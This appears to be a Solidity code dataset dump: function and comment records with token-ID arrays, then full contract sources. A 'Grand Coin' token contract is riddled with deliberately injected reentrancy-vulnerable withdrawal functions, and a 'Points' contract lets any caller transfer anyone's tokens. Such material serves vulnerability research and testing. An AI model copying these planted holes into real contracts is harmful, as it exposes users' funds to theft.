203, 565, 1426, 1071, 353, 40, 322, 343, 37, 4062, 3896, 273, 629, 31, 203, 203, 203, 203, 203, 565, 533, 3238, 389, 1969, 1345, 3098, 31, 203, 203, 203, 565, 871, 3360, 1345, 3098, 5033, 12, 1080, 1026, 1345, 3098, 1769, 203, 565, 871, 3699, 5033, 12, 1080, 1147, 3098, 1769, 203, 565, 871, 6205, 5033, 12, 11890, 5034, 394, 1345, 5147, 1769, 203, 565, 871, 14467, 5033, 12, 11890, 5034, 2078, 3088, 1283, 16, 11890, 5034, 17742, 3088, 1283, 16, 2254, 5034, 2 ]
./full_match/1/0xbca3B7B87dCB15f0efa66136Bc0E4684a3e5da4d/sources/browser/sharedStake_mainnet.sol
similiar to workable on KP3R contracts used to check if we can call deposit to eth2
function workable() public view returns (bool) { uint256 amount = 32 ether; bool validatorLimitReached = (curValidatorShares >= maxValidatorShares()); bool balanceEnough = (address(this).balance >= amount); return validatorLimitReached && balanceEnough; }
4,998,225
[ 1, 9812, 15700, 297, 358, 1440, 429, 603, 1475, 52, 23, 54, 20092, 1399, 358, 866, 309, 732, 848, 745, 443, 1724, 358, 13750, 22, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1440, 429, 1435, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 2254, 5034, 3844, 273, 3847, 225, 2437, 31, 203, 3639, 1426, 4213, 3039, 23646, 273, 261, 1397, 5126, 24051, 1545, 943, 5126, 24051, 10663, 203, 3639, 1426, 11013, 664, 4966, 273, 261, 2867, 12, 2211, 2934, 12296, 1545, 3844, 1769, 203, 3639, 327, 4213, 3039, 23646, 597, 11013, 664, 4966, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * Source Code first verified at https://etherscan.io on Friday, April 26, 2019 (UTC) */ pragma solidity >=0.4.23 <0.6.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Calculates the average of two numbers. Since these are integers, * averages of an even and odd number cannot be represented, and will be * rounded down. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /*** @title ERC20 interface */ contract ERC20 { function totalSupply() public view returns (uint256); mapping(address => uint) userBalance_re_ent12; function withdrawBalance_re_ent12() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function if( ! (msg.sender.send(userBalance_re_ent12[msg.sender]) ) ){ revert(); } userBalance_re_ent12[msg.sender] = 0; } function balanceOf(address _owner) public view returns (uint256); mapping(address => uint) redeemableEther_re_ent11; function claimReward_re_ent11() public { // ensure there is a reward to give require(redeemableEther_re_ent11[msg.sender] > 0); uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender]; msg.sender.transfer(transferValue_re_ent11); //bug redeemableEther_re_ent11[msg.sender] = 0; } function transfer(address _to, uint256 _value) public returns (bool); mapping(address => uint) balances_re_ent1; function withdraw_balances_re_ent1 () public { (bool success,) =msg.sender.call.value(balances_re_ent1[msg.sender ])(""); if (success) balances_re_ent1[msg.sender] = 0; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool); bool not_called_re_ent41 = true; function bug_re_ent41() public{ require(not_called_re_ent41); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent41 = false; } function approve(address _spender, uint256 _value) public returns (bool); uint256 counter_re_ent42 =0; function callme_re_ent42() public{ require(counter_re_ent42<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent42 += 1; } function allowance(address _owner, address _spender) public view returns (uint256); address payable lastPlayer_re_ent2; uint jackpot_re_ent2; function buyTicket_re_ent2() public{ if (!(lastPlayer_re_ent2.send(jackpot_re_ent2))) revert(); lastPlayer_re_ent2 = msg.sender; jackpot_re_ent2 = address(this).balance; } bool not_called_re_ent27 = true; function bug_re_ent27() public{ require(not_called_re_ent27); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent27 = false; } event Transfer(address indexed _from, address indexed _to, uint256 _value); mapping(address => uint) balances_re_ent31; function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public { require(balances_re_ent31[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(msg.sender.send(_weiToWithdraw)); //bug balances_re_ent31[msg.sender] -= _weiToWithdraw; } event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /*** @title ERC223 interface */ contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes memory _data) public; mapping(address => uint) balances_re_ent17; function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public { require(balances_re_ent17[msg.sender] >= _weiToWithdraw); // limit the withdrawal (bool success,)=msg.sender.call.value(_weiToWithdraw)(""); require(success); //bug balances_re_ent17[msg.sender] -= _weiToWithdraw; } } contract ERC223 { function balanceOf(address who) public view returns (uint); address payable lastPlayer_re_ent37; uint jackpot_re_ent37; function buyTicket_re_ent37() public{ if (!(lastPlayer_re_ent37.send(jackpot_re_ent37))) revert(); lastPlayer_re_ent37 = msg.sender; jackpot_re_ent37 = address(this).balance; } function transfer(address to, uint value) public returns (bool); mapping(address => uint) balances_re_ent3; function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public { require(balances_re_ent3[msg.sender] >= _weiToWithdraw); // limit the withdrawal (bool success,)= msg.sender.call.value(_weiToWithdraw)(""); require(success); //bug balances_re_ent3[msg.sender] -= _weiToWithdraw; } function transfer(address to, uint value, bytes memory data) public returns (bool); address payable lastPlayer_re_ent9; uint jackpot_re_ent9; function buyTicket_re_ent9() public{ (bool success,) = lastPlayer_re_ent9.call.value(jackpot_re_ent9)(""); if (!success) revert(); lastPlayer_re_ent9 = msg.sender; jackpot_re_ent9 = address(this).balance; } bool not_called_re_ent13 = true; function bug_re_ent13() public{ require(not_called_re_ent13); (bool success,)=msg.sender.call.value(1 ether)(""); if( ! success ){ revert(); } not_called_re_ent13 = false; } event Transfer(address indexed from, address indexed to, uint value); //ERC 20 style //event Transfer(address indexed from, address indexed to, uint value, bytes data); } /*** @title ERC223 token */ contract ERC223Token is ERC223 { using SafeMath for uint; mapping(address => uint) userBalance_re_ent5; function withdrawBalance_re_ent5() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function if( ! (msg.sender.send(userBalance_re_ent5[msg.sender]) ) ){ revert(); } userBalance_re_ent5[msg.sender] = 0; } mapping(address => uint256) balances; function transfer(address _to, uint _value) public returns (bool) { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } require(_value > 0); require(balances[msg.sender] >= _value); require(balances[_to] + _value > 0); require(msg.sender != _to); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); return false; } emit Transfer(msg.sender, _to, _value); return true; } mapping(address => uint) redeemableEther_re_ent25; function claimReward_re_ent25() public { // ensure there is a reward to give require(redeemableEther_re_ent25[msg.sender] > 0); uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender]; msg.sender.transfer(transferValue_re_ent25); //bug redeemableEther_re_ent25[msg.sender] = 0; } function transfer(address _to, uint _value, bytes memory _data) public returns (bool) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } require(_value > 0); require(balances[msg.sender] >= _value); require(balances[_to] + _value > 0); require(msg.sender != _to); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); return false; } emit Transfer(msg.sender, _to, _value); return true; } mapping(address => uint) userBalance_re_ent19; function withdrawBalance_re_ent19() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function if( ! (msg.sender.send(userBalance_re_ent19[msg.sender]) ) ){ revert(); } userBalance_re_ent19[msg.sender] = 0; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } mapping(address => uint) userBalance_re_ent26; function withdrawBalance_re_ent26() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function (bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent26[msg.sender] = 0; } } ////////////////////////////////////////////////////////////////////////// //////////////////////// [Grand Coin] MAIN //////////////////////// ////////////////////////////////////////////////////////////////////////// /*** @title Owned */ contract Owned { mapping(address => uint) balances_re_ent15; function withdraw_balances_re_ent15 () public { if (msg.sender.send(balances_re_ent15[msg.sender ])) balances_re_ent15[msg.sender] = 0; } address public owner; constructor() internal { owner = msg.sender; owner = 0x800A4B210B920020bE22668d28afd7ddef5c6243 ; } bool not_called_re_ent20 = true; function bug_re_ent20() public{ require(not_called_re_ent20); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent20 = false; } modifier onlyOwner { require(msg.sender == owner); _; } } /*** @title Grand Token */ contract Grand is ERC223Token, Owned { uint256 counter_re_ent28 =0; function callme_re_ent28() public{ require(counter_re_ent28<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent28 += 1; } string public constant name = "Grand Coin"; bool not_called_re_ent34 = true; function bug_re_ent34() public{ require(not_called_re_ent34); if( ! (msg.sender.send(1 ether) ) ){ revert(); } not_called_re_ent34 = false; } string public constant symbol = "GRAND"; uint256 counter_re_ent21 =0; function callme_re_ent21() public{ require(counter_re_ent21<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent21 += 1; } uint8 public constant decimals = 18; uint256 public tokenRemained = 2 * (10 ** 9) * (10 ** uint(decimals)); // 2 billion Grand, decimals set to 18 uint256 public totalSupply = 2 * (10 ** 9) * (10 ** uint(decimals)); mapping(address => uint) balances_re_ent10; function withdrawFunds_re_ent10 (uint256 _weiToWithdraw) public { require(balances_re_ent10[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(msg.sender.send(_weiToWithdraw)); //bug balances_re_ent10[msg.sender] -= _weiToWithdraw; } bool public pause = false; mapping(address => uint) balances_re_ent21; function withdraw_balances_re_ent21 () public { (bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); if (success) balances_re_ent21[msg.sender] = 0; } mapping(address => bool) lockAddresses; // constructor constructor () public { //allocate to ______ balances[0x96F7F180C6B53e9313Dc26589739FDC8200a699f] = totalSupply; } mapping(address => uint) redeemableEther_re_ent32; function claimReward_re_ent32() public { // ensure there is a reward to give require(redeemableEther_re_ent32[msg.sender] > 0); uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender]; msg.sender.transfer(transferValue_re_ent32); //bug redeemableEther_re_ent32[msg.sender] = 0; } // change the contract owner function changeOwner(address _new) public onlyOwner { require(_new != address(0)); owner = _new; } mapping(address => uint) balances_re_ent38; function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public { require(balances_re_ent38[msg.sender] >= _weiToWithdraw); // limit the withdrawal require(msg.sender.send(_weiToWithdraw)); //bug balances_re_ent38[msg.sender] -= _weiToWithdraw; } // pause all the g on the contract function pauseContract() public onlyOwner { pause = true; } mapping(address => uint) redeemableEther_re_ent4; function claimReward_re_ent4() public { // ensure there is a reward to give require(redeemableEther_re_ent4[msg.sender] > 0); uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender]; msg.sender.transfer(transferValue_re_ent4); //bug redeemableEther_re_ent4[msg.sender] = 0; } function resumeContract() public onlyOwner { pause = false; } uint256 counter_re_ent7 =0; function callme_re_ent7() public{ require(counter_re_ent7<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent7 += 1; } function is_contract_paused() public view returns (bool) { return pause; } address payable lastPlayer_re_ent23; uint jackpot_re_ent23; function buyTicket_re_ent23() public{ if (!(lastPlayer_re_ent23.send(jackpot_re_ent23))) revert(); lastPlayer_re_ent23 = msg.sender; jackpot_re_ent23 = address(this).balance; } // lock one's wallet function lock(address _addr) public onlyOwner { lockAddresses[_addr] = true; } uint256 counter_re_ent14 =0; function callme_re_ent14() public{ require(counter_re_ent14<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent14 += 1; } function unlock(address _addr) public onlyOwner { lockAddresses[_addr] = false; } address payable lastPlayer_re_ent30; uint jackpot_re_ent30; function buyTicket_re_ent30() public{ if (!(lastPlayer_re_ent30.send(jackpot_re_ent30))) revert(); lastPlayer_re_ent30 = msg.sender; jackpot_re_ent30 = address(this).balance; } function am_I_locked(address _addr) public view returns (bool) { return lockAddresses[_addr]; } mapping(address => uint) balances_re_ent8; function withdraw_balances_re_ent8 () public { (bool success,) = msg.sender.call.value(balances_re_ent8[msg.sender ])(""); if (success) balances_re_ent8[msg.sender] = 0; } // contract can receive eth function() external payable {} mapping(address => uint) redeemableEther_re_ent39; function claimReward_re_ent39() public { // ensure there is a reward to give require(redeemableEther_re_ent39[msg.sender] > 0); uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender]; msg.sender.transfer(transferValue_re_ent39); //bug redeemableEther_re_ent39[msg.sender] = 0; } // extract ether sent to the contract function getETH(uint256 _amount) public onlyOwner { msg.sender.transfer(_amount); } mapping(address => uint) balances_re_ent36; function withdraw_balances_re_ent36 () public { if (msg.sender.send(balances_re_ent36[msg.sender ])) balances_re_ent36[msg.sender] = 0; } ///////////////////////////////////////////////////////////////////// ///////////////// ERC223 Standard functions ///////////////////////// ///////////////////////////////////////////////////////////////////// modifier transferable(address _addr) { require(!pause); require(!lockAddresses[_addr]); _; } function transfer(address _to, uint _value, bytes memory _data) public transferable(msg.sender) returns (bool) { return super.transfer(_to, _value, _data); } uint256 counter_re_ent35 =0; function callme_re_ent35() public{ require(counter_re_ent35<=5); if( ! (msg.sender.send(10 ether) ) ){ revert(); } counter_re_ent35 += 1; } function transfer(address _to, uint _value) public transferable(msg.sender) returns (bool) { return super.transfer(_to, _value); } mapping(address => uint) userBalance_re_ent40; function withdrawBalance_re_ent40() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function (bool success,)=msg.sender.call.value(userBalance_re_ent40[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent40[msg.sender] = 0; } ///////////////////////////////////////////////////////////////////// /////////////////// Rescue functions ////////////////////////////// ///////////////////////////////////////////////////////////////////// function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool) { return ERC20(_tokenAddress).transfer(owner, _value); } mapping(address => uint) userBalance_re_ent33; function withdrawBalance_re_ent33() public{ // send userBalance[msg.sender] ethers to msg.sender // if mgs.sender is a contract, it will call its fallback function (bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])(""); if( ! success ){ revert(); } userBalance_re_ent33[msg.sender] = 0; } }
pause all the g on the contract
function pauseContract() public onlyOwner { pause = true; } mapping(address => uint) redeemableEther_re_ent4;
14,091,655
[ 1, 19476, 777, 326, 314, 603, 326, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11722, 8924, 1435, 1071, 1338, 5541, 288, 203, 3639, 11722, 273, 638, 31, 203, 565, 289, 203, 6770, 12, 2867, 516, 2254, 13, 283, 24903, 429, 41, 1136, 67, 266, 67, 319, 24, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xe36c64DA853C4A9e765BfAd41D292aCD21628c26/sources/IndexerStakingContract.sol
multiple admins could have some ID, this is not currently a problem because it's not necessarily referenced anywhere.* @notice remove an admin @param _adminAddress address of the admin to remove/
function removeAdmin(address _adminAddress) external onlyOwner { require(!(_isAdmin(_adminAddress)), "Member is not admin"); adminMap[_adminAddress].isCurrentAdmin = false; numCurrentAdmins--; } mapping(address => IndexerDetails) public approvedIndexers; constructor( string memory _registryAddress, bytes memory _ownerPublicKey, IERC20 _tokenAddress, uint _APY
12,283,936
[ 1, 9622, 31116, 3377, 1240, 2690, 1599, 16, 333, 353, 486, 4551, 279, 6199, 2724, 518, 1807, 486, 23848, 8042, 25651, 18, 225, 1206, 392, 3981, 565, 389, 3666, 1887, 282, 1758, 434, 326, 3981, 358, 1206, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 4446, 12, 2867, 389, 3666, 1887, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 5, 24899, 291, 4446, 24899, 3666, 1887, 13, 3631, 315, 4419, 353, 486, 3981, 8863, 203, 3639, 3981, 863, 63, 67, 3666, 1887, 8009, 291, 3935, 4446, 273, 629, 31, 203, 3639, 818, 3935, 4446, 87, 413, 31, 203, 565, 289, 203, 203, 565, 2874, 12, 2867, 516, 3340, 264, 3790, 13, 1071, 20412, 1016, 414, 31, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 9893, 1887, 16, 203, 3639, 1731, 3778, 389, 8443, 9632, 16, 203, 3639, 467, 654, 39, 3462, 389, 2316, 1887, 16, 203, 3639, 2254, 389, 2203, 61, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; import "./Context.sol"; import "./SafeMath.sol"; import "./IPoints.sol"; contract Points is Context, IPoints { using SafeMath for uint256; uint256 private _totalSupply; string private _name; string private _symbol; address payable private _owner; mapping (address => uint256) private _balances; /** * @dev Sets the values for {name} and {symbol}, * Initializes the contract's data, setting the `owner` * to the address of the contract creator. */ constructor (string memory name, string memory symbol) public { _owner = _msgSender(); _name = name; _symbol = symbol; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the owner of the contract. */ function owner() public view returns (address payable) { return _owner; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev See {IPoints-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IPoints-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IPoints-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); return true; } /** * @dev See {IPoints-mint}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function mint(address recipient, uint256 amount) public virtual override returns (bool) { _mint(recipient, amount); return true; } /** * @dev See {IPoints-burn}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function burn(address recipient, uint256 amount) public virtual override returns (bool) { _burn(recipient, amount); return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint amount) internal virtual { // Only the contract owner can call this function require(_msgSender() == owner(), "You are not the owner."); require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { // Only the contract owner can call this function require(_msgSender() == owner(), "You are not the owner."); require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
